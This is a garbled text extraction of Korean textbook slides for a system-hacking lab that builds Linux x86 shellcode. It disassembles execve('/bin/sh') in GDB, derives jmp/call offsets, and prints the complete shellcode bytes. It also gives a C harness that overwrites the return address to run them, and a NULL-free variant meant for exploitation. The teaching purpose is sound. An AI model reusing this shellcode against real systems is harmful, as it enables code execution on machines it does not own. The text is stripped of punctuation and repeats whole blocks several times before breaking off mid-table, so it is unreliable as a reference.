C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 76: 80×86  시스템에 대한 이해

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 77: 80×86  시스템에 대한 이해

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

